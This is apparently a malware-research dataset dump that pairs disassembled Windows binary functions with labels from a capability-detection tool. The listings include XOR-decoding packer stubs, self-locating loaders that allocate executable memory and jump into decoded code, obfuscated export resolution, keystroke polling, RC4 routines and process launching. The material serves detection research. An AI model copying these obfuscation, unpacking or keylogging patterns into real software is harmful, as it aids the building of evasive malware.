joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6c481f30
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
and esp, 0xfffffff0
sub esp, 0xf0
mov edi, dword [0x6c486094]
mov esi, dword [ebp + 8]
test edi, edi
je 0x6c4820f0
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call dword [0x6c486094]
movzx eax, al
bt eax, esi
jae 0x6c482150
mov ecx, dword [0x6c486084]
xor eax, eax
mov edx, dword fs:[0x18]
cmp dword [edx + 0x24], ecx
je 0x6c481ff6
test byte [0x6c483030], 8
jne 0x6c482090
lea ebx, [esp + 0x28]
mov edi, ebx
test byte [0x6c483040], 8
jne 0x6c482040
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
mov dword [esp + 4], str._04x:
mov dword [esp], edi
mov dword [esp + 8], eax
call dbg.sprintf
mov edx, dword [ebp + 0x10]
test edx, edx
je 0x6c481fc5
cmp esi, 3
jbe 0x6c482000
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov dword [esp], ebx
mov esi, eax
call dword [sym.imp.ucrtbase.dll_strlen]
mov dword [esp + 0xc], esi
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov dword [esp], ebx
call dword [sym.imp.ucrtbase.dll_fwrite]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
add eax, edi
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x14], edi
mov edi, dword [ebp + 0xc]
mov dword [esp + 8], str._s:_s:_s
lea edx, [edi + 1]
mov dword [esp], eax
mov dword [esp + 0x10], edx
mov edx, dword [esi*4 + str.dQHljQHlnQHlsQHlGCC:__GNU__13.2.0]
mov dword [esp + 0xc], edx
mov edx, ebx
sub edx, eax
add edx, 0xc8
mov dword [esp + 4], edx
call sym._snprintf.constprop.0
jmp 0x6c481fc5
mov ecx, dword [0x6c486094]
test ecx, ecx
je 0x6c482130
mov dword [esp], 0x6c483040
call dword [0x6c486094]
test al, 8
je 0x6c481f9c
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x20]
mov dword [esp], edi
mov dword [esp + 4], str._04x:
mov dword [esp + 8], eax
call dbg.sprintf
add edi, eax
jmp 0x6c481f9c
mov ebx, dword [0x6c486094]
test ebx, ebx
je 0x6c482110
mov dword [esp], 0x6c483030
call dword [0x6c486094]
test al, 8
je 0x6c481f89
call dword [sym.imp.kernel32.dll_GetTickCount]
lea ebx, [esp + 0x28]
mov dword [esp + 4], str._3u._03u:
mov ecx, eax
mov eax, 0x10624dd3
mov dword [esp], ebx
mul ecx
shr edx, 6
imul eax, edx, 0x3e8
mov dword [esp + 8], edx
sub ecx, eax
mov dword [esp + 0xc], ecx
call dbg.sprintf
lea edi, [ebx + eax]
jmp 0x6c481f8f
mov ecx, dbg.fallback__wine_dbg_get_channel_flags
mov edx, str.__wine_dbg_get_channel_flags
mov eax, 0x6c486094
call sym._load_func.part.0
jmp 0x6c481f50
mov ecx, dbg.fallback__wine_dbg_get_channel_flags
mov edx, str.__wine_dbg_get_channel_flags
mov eax, 0x6c486094
call sym._load_func.part.0
jmp 0x6c48209a
mov ecx, dbg.fallback__wine_dbg_get_channel_flags
mov edx, str.__wine_dbg_get_channel_flags
mov eax, 0x6c486094
call sym._load_func.part.0
jmp 0x6c48204e
mov eax, 0xffffffff
jmp 0x6c481ff6
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408e84
mov ecx, 0x28217a8b
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x799699f
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x10006807
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x10006816
pop dword [ebp - 0x50]
mov eax, 0x10006816
sub dword [ebp - 0x50], eax
push 0x40
push 0x1000
push 0x3cbde
push 0
mov eax, 0x80a16dd4
add eax, 0x8f5ff36c
add eax, dword [ebp - 0x50]
call dword [eax]
mov ecx, 0x794042a3
add ecx, 0x86c010b2
mov edx, eax
mov esi, 0x4091cf46
sub esi, 0x308f8b46
add esi, dword [ebp - 0x50]
mov ebx, 0xddd8b96d
sub ebx, 0xb8372068
sub dword [ebp - 0x44], 0x970d6736
mov edi, dword [esi]
xor dword [ebp - 0x14], edi
add edi, ebx
xor dword [ebp - 0x38], ebx
mov dword [edx], edi
add edx, 0xbb1479d9
add edx, 0x44eb862b
add esi, 4
loop 0x10006870
add eax, 0x3fbfb8a0
sub eax, 0x3fbe7879
mov ebx, eax
add eax, 0xaddf9acc
add eax, 0x52206539
mov ecx, 0x10000000
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x10001822
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x1000182c
repz ret
jmp fcn.10001bc2

Function at 0x1000187f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x1000188e
pop dword [ebp - 0x3c]
mov eax, 0xdc8505e4
sub eax, 0xcc84ed56
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0xaf25a6c
sub dword [ebp - 0x4c], 0xbca01521
mov dword [ebp - 0x48], 0x3e8208f0
add dword [ebp - 0x48], 0xf3b14355
mov dword [ebp - 0x44], 0x3eb237c7
sub dword [ebp - 0x44], 0xf265f399
mov dword [ebp - 0x40], 0x7463e1df
sub dword [ebp - 0x40], 0x7463e1df
lea eax, [ebp - 0x4c]
push eax
mov eax, 0xcb7de7c5
sub eax, 0xbb7db77d
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0xdd0f1732
sub dword [ebp - 0x4c], 0x689caddc
mov dword [ebp - 0x48], 0xabcfe4d0
add dword [ebp - 0x48], 0x959c7ca5
mov dword [ebp - 0x44], 0xbe0bbeff
sub dword [ebp - 0x44], 0x5a9c5293
mov dword [ebp - 0x40], 0x3eda1d82
add dword [ebp - 0x40], 0xc125e27e
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0xec9312ba
sub eax, 0xdc92e2ba
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x343af
push 0
call eax
mov ecx, 0xf45f0490
sub ecx, 0xf45ec5b7
xor edi, edi
add edi, eax
mov ebx, 0x10006200
add ebx, dword [ebp - 0x3c]
mov esi, 0x2e62fa7b
xor dword [ebp - 0x30], edi
mov edx, dword [ebx]
sub dword [ebp - 4], edx
add edx, esi
xor dword [ebp - 0x14], edi
mov dword [edi], edx
xor dword [ebp - 0x34], edx
add edi, 0x26fa0d74
add edi, 0xd905f290
add ebx, 0x39419cc5
add ebx, 0xc6be633f
loop 0x100019a6
add eax, 0x40cf9d9a
sub eax, 0x40ceaf63
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x68f064
add ecx, 0xf970f9c
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x1075ef25
Capabilities:
Link function at runtime on windows
Parse pe header
Resolve function by parsing pe exports

Disassembly:
dec ebx
cmp dh, 0xb4
add edx, edi
mov dword [ebp + 8], 0
mov dword [ebp - 0xc], edx
test sp, 0x69ee
test ebx, ebx
jmp 0x10cc562f
jne 0x10799c07
pop esi
shl di, 0x4d
shr bl, 0x4c
pop ebx
bt edi, esp
adc edi, ebx
movzx edi, ax
sub eax, eax
movsx edi, si
pop edi
jmp 0x106fdbd3
mov esp, ebp
mov ebp, 0x4b08657d
xchg bp, bp
pop ebp
jmp 0x107a38a7
mov esp, ebp
bswap ebp
not ebp
pop ebp
ret
je 0x108a60a9
mov edx, dword [edx + 0x7c]
stc
push ebx
push esi
or esi, 0xffffffff
mov dword [ebp - 0x10], edx
mov dword [ebp - 8], esi
stc
cmp dx, dx
test bp, 0x448c
cmp ecx, 0xffff
jmp 0x108d17a9
push ebp
dec ebp
mov ebp, esp
stc
cmc
sub esp, 0x114
cmp esp, edx
push edi
xor edi, esi
clc
sal di, 0x24
mov edi, dword [ebp + 8]
test ax, 0x5df0
stc
test edi, edi
jmp 0x108f8de2
mov edx, dword [edi + 0x3c]
test sp, 0x763
cmp cx, dx
add edx, edi
stc
clc
cmp dword [edx], 0x4550
jmp 0x1085fce7
ret
je 0x108c004e
mov edx, dword [eax + edi + 0x20]
jmp 0x106b1be4
jne 0x108a60a9
mov eax, dword [edx + 0x78]
cmc
test cx, sp
mov dword [ebp - 4], eax
test eax, eax
jmp 0x1073cc57
je 0x1077aa5f
xor eax, eax
pop edi
jmp 0x106fbf45
ja 0x10e416eb
sub ecx, dword [eax + edi + 0x10]
test ax, si
cmp ecx, dword [eax + edi + 0x14]
jae 0x108a25bc
mov edx, dword [eax + edi + 0x1c]
lea ecx, [edx + ecx*4]
stc
mov ecx, dword [ecx + edi]
cmp si, di
test ebp, eax
test ecx, ecx
jmp 0x106d2d86
je 0x108a60a9
mov ecx, dword [ebp + 0xc]
test ecx, ecx
je 0x108a60a9
mov eax, 0x5a4d
cmp ch, ch
cmp sp, 0x68d5
cmp word [edi], ax
jmp 0x108a60a3
jl 0x108c004e
jmp 0x107b7304
mov ebx, dword [eax + edi + 0x18]
test ebx, ebx
jmp 0x107b4d2e

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x40d7d2
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x50
push ebp
lea eax, [esp + 0x28]
push edi
push eax
call fcn.0040d982
mov ecx, dword [esp + 0x5c]
xor edx, edx
xor ebp, ebp
mov dword [esp + 0xc], 1
mov edi, dword [ecx]
mov dword [esp + 0x10], 8
mov dword [esp + 0x14], 2
mov dword [esp + 0x18], 4
mov dx, word [edi + 0x14]
cmp word [edi + 6], bp
mov dword [esp + 0x1c], 0x10
mov dword [esp + 0x20], 0x80
mov dword [esp + 0x24], 0x20
mov dword [esp + 0x28], 0x40
lea eax, [edx + edi + 0x18]
jbe 0x40d8d0
push ebx
push esi
lea ebx, [eax + 0x24]
mov eax, dword [ebx]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x40d873
mov eax, dword [ebx - 0x14]
mov ecx, dword [ebx - 0x1c]
push 0x4000
push eax
push ecx
call dword [esp + 0x4c]
jmp 0x40d8b6
lea edx, [edx + ecx*2]
test eax, 0x4000000
lea ecx, [esi + edx*2]
mov esi, dword [esp + ecx*4 + 0x14]
je 0x40d88a
or esi, 0x200
mov edx, dword [ebx - 0x14]
mov ecx, edx
test ecx, ecx
jne 0x40d8a5
test al, 0x40
je 0x40d89c
mov ecx, dword [edi + 0x20]
jmp 0x40d8a3
test al, 0x80
je 0x40d8b6
mov ecx, dword [edi + 0x24]
test ecx, ecx
jbe 0x40d8b6
mov ecx, dword [ebx - 0x1c]
lea eax, [esp + 0x10]
push eax
push esi
push edx
push ecx
call dword [esp + 0x44]
mov edx, dword [esp + 0x64]
xor eax, eax
inc ebp
add ebx, 0x28
mov edi, dword [edx]
mov ax, word [edi + 6]
cmp ebp, eax
jl 0x40d842
pop esi
pop ebx
pop edi
pop ebp
add esp, 0x50
ret
Function at 0x470650
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x56c66b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0055bea7
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x4706d2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.00558921
mov eax, dword [eax]
push 0x6fe298
push eax
call fcn.00538254
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0055c132
test bl, bl
je 0x4706d2
push 0x6fe298
lea ecx, [esp + 0xc]
call fcn.0055c50e
push 0x701e3c
lea ecx, [esp + 0xc]
call fcn.0055c50e
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x47070e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0055c132
jmp 0x4707d9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x470792
lea edx, [esp + 0x7c]
push 0x701e38
push edx
call fcn.00538254
add esp, 8
test eax, eax
je 0x470792
lea eax, [esp + 0x7c]
push 0x701e34
push eax
call fcn.00538254
add esp, 8
test eax, eax
je 0x470792
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x470722
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0055c132
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x470fd0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x471032
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x471040
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x56c6eb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x71ee74]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x471178
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x4710a6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0055c132
xor eax, eax
jmp 0x4711ef
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0055c2bb
push esi
lea ecx, [esp + 0xc]
call fcn.0055c54a
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x701e74
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x4711cd
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.00470fd0
test eax, eax
jne 0x4711cd
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.00470fd0
test eax, eax
jne 0x4711cd
lea eax, [esp + 0x14]
push 0x701e50
push eax
call fcn.00539450
mov esi, eax
add esp, 8
test esi, esi
jne 0x4711ac
lea ecx, [esp + 0x14]
push 0x701e4c
push ecx
call fcn.005393d0
mov esi, eax
add esp, 8
test esi, esi
jne 0x4711ac
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x4711af
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0055c26b
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x4710be
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0055c132
xor eax, eax
jmp 0x4711ef
mov byte [esi], 0
push 0x701e48
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0055c132
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x488ca0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x488d0e
cmp si, 0x69
ja 0x488d0e
add esi, 0xffd0
cmp si, 0x11
je 0x488cde
push 0x11
call edi
test ax, ax
jge 0x488cde
or esi, 0x2000
cmp si, 0x10
je 0x488cf3
push 0x10
call edi
test ax, ax
jge 0x488cf3
or esi, 0x4000
cmp si, 0x12
je 0x488d08
push 0x12
call edi
test ax, ax
jge 0x488d08
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x488d1b
mov esi, 0xbd
jmp 0x488ccf
cmp si, 0x6e
jne 0x488d28
mov esi, 0xbe
jmp 0x488ccf
cmp si, 0x6f
jne 0x488cc9
mov esi, 0xbf
jmp 0x488ccf

Function at 0x48a580
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x730cd8]
xor edx, edx
cmp eax, edx
jne 0x48a5a6
xor eax, eax
mov byte [eax + 0x730bd8], al
inc eax
cmp eax, 0x100
jl 0x48a58e
mov dword [0x730cd8], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x730bd8
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x48a637
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x48a60a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x48a5d8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x48a6b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x48a703
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x48a6ea
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x491880
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x491a18
cmp ebp, ebx
jle 0x491a18
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, reloc.OLEAUT32.dll_VariantInit
mov dword [esp + 0x10], edi
jns 0x4918de
dec eax
or eax, 0xfffffff8
inc eax
je 0x4918e5
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x4918f4
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x4918fb
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.0055be73
add esp, 4
cmp eax, ebx
je 0x49191c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.0055be73
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x491a0e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x4919f5
mov al, byte [edx]
cmp al, 0xc0
jbe 0x4919e1
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x4919d6
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x4919e4
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x4919e4
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x491980
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x491971
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret

Function at 0x493d40
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
push esi
mov esi, ecx
call fcn.0055d7af
lea eax, [esp + 4]
mov dword [esi], method.CWnd.virtual_0
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
neg eax
sbb eax, eax
mov dword [esi + 0x44], 0x4d12
inc eax
mov dword [esi + 0x40], 0xffffffff
mov dword [esi + 0x3c], eax
mov eax, esi
pop esi
add esp, 0x190
ret
Function at 0x493ec0
Capabilities:
Resolve dns

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0x10]
test esi, esi
je 0x493f47
cmp byte [esi], 0
je 0x493f47
mov ebx, dword [esp + 0xc]
xor eax, eax
mov ecx, ebx
mov edx, dword [esp + 0x14]
push edx
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], eax
call dword [sym.imp.WS2_32.dll_htons]
push esi
mov word [ebx + 2], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x493f35
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x493f47
movsx ecx, word [eax + 0xa]
mov edx, dword [eax + 0xc]
push edi
lea edi, [ebx + 4]
mov esi, dword [edx]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ax, word [eax + 8]
pop edi
mov word [ebx], ax
pop esi
mov eax, 1
pop ebx
ret 0xc
mov dword [ebx + 4], eax
mov word [ebx], 2
pop esi
mov eax, 1
pop ebx
ret 0xc
pop esi
xor eax, eax
pop ebx
ret 0xc

Function at 0x494123
Capabilities:
Connect socket

Disassembly:
sub esp, 0x10
push esi
mov esi, ecx
mov eax, dword [esi]
call dword [eax + 0xbc]
test eax, eax
je 0x494192
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x18]
push ecx
lea eax, [esp + 8]
push edx
push eax
mov ecx, esi
call fcn.00493ec0
test eax, eax
je 0x494192
mov edx, dword [esi + 0x40]
lea ecx, [esp + 4]
push 0x10
push ecx
push edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x49418b
mov eax, dword [esi + 0x1c]
mov ecx, dword [esi + 0x40]
push 0x21
push 0x8078
push eax
push ecx
call dword [sym.imp.WS2_32.dll_WSAAsyncSelect]
cmp eax, 0xffffffff
je 0x49418b
mov eax, 1
mov dword [esi + 0x48], eax
pop esi
add esp, 0x10
ret 8
mov ecx, esi
call fcn.004940f0
xor eax, eax
pop esi
add esp, 0x10
ret 8

Function at 0x495190
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x56e598
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x4951c9
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.00565720
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.005657a8
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.00495250
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.005657e5
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24